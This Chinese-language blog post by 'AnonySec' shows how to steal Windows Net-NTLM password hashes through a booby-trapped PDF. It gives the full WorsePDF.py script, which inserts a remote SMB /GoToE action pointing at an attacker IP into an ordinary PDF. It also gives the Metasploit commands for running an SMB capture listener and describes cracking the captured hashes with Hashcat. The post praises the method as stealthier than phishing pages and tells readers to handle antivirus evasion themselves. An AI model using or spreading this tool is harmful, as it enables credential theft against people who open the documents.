君子藏器于身待时而动,安全不露圭角覆盂之安。
——AnonySec
https://payloads.cn
前言 当用户使用PDF阅读器打开一份恶意的PDF文档,该PDF会向远程SMB服务器发出请求,如果该远程SMB服务器对数据包进行抓取,就能够获得用户Windows系统的Net NTLM Hash,通过使用Hashcat暴力破解还原就有可能获得用户系统的明文密码。
利用原理 在 PDF 规范允许为 GoTobe 和 GoToR 条目来加载远程数据,正是利用这一特性能够帮我们请求远程恶意 smb 服务器,以此达到截获目标系统用户密码 hash 的目的。
利用思路 构造一份特殊的PDF文档,请求SMB服务器的一份文件 在SMB服务器上抓包 用户使用PDF阅读器打开PDF文档时,Windows系统将当前用户的Net NTLM Hash发送到SMB服务器 SMB服务器提取出Net NTLM Hash,使用Hashcat进行破解 还原出用户的明文密码 根据用户的明文密码尝试进一步利用 利用过程 首先,利用 poc 脚本构造恶意的 pdf 文件。
1 python WorsePDF.py /Users/anonysec/Desktop/demo.pdf 192.168 .199 .246
之后,msf 打开 smb 监听,要用它来接收发过来的 ntlm 认证数据 (ntlm hash)。
1 2 3 4 sudo msfconsole -q msf5 > use auxiliary/server/capture/smb msf5 auxiliary(server/capture/smb) > set johnpwfile pdf msf5 auxiliary(server/capture/smb) > run
当恶意的PDF文件在目标系统被 Adobe Reader 打开后,即可看到 msf 的 smb 监听器成功获取到来自目标系统的Net NTLM Hash。
用 Wireshark 查看网络传输中的数据包,包含 Net NTLM Hash 。
最后,可利用Hashcat还原用户的明文密码,达到进一步深度利用的目的。
注意事项 目标用户必须使用PDF阅读器打开,如果使用IE或是Chrome打开PDF文件,并不会执行 相对于传统的钓鱼页面,此类手法更加的隐蔽 需自行克服免杀问题 附代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import sysdef AddPayload (Data,ip ): Payload = '/AA <</O <</F (\\\\\\\\' + ip + '\\\\test)/D [ 0 /Fit]/S /GoToE>>>>' index1 = Data.find('/Parent' ) + 13 Newdata = Data[0 :index1] + Payload + Data[index1:] return Newdata if __name__ == "__main__" : print "WorsePDF - Turn a normal PDF file into malicious.Use to steal Net-NTLM Hashes from windows machines.\n" if len (sys.argv)!=3 : print ('Usage:' ) print (' WorsePDF.py <normal PDF file Path> <ServerIP>' ) sys.exit(0 ) print "[*]NormalPDF: %s" % sys.argv[1 ] print "[*]ServerIP: %s" % sys.argv[2 ] file_object = open (sys.argv[1 ],'rb' ) try : all_the_text = file_object.read( ) finally : file_object.close() Newdata = AddPayload(all_the_text,sys.argv[2 ]) MaliciousPath = sys.argv[1 ] + '.malicious.pdf' print "[+]MaliciousPDF: %s" % MaliciousPath file_object2 = open (MaliciousPath, 'wb' ) file_object2.write(Newdata) file_object2.close() print "[*]All Done"